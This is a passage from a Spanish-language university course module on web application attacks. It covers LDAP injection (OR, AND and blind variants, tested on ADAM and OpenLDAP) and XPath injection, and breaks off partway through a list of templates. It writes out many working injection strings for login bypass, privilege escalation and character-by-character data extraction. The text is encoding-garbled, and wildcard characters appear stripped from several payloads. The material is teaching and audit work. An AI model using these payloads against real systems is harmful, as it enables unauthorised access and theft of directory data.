aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

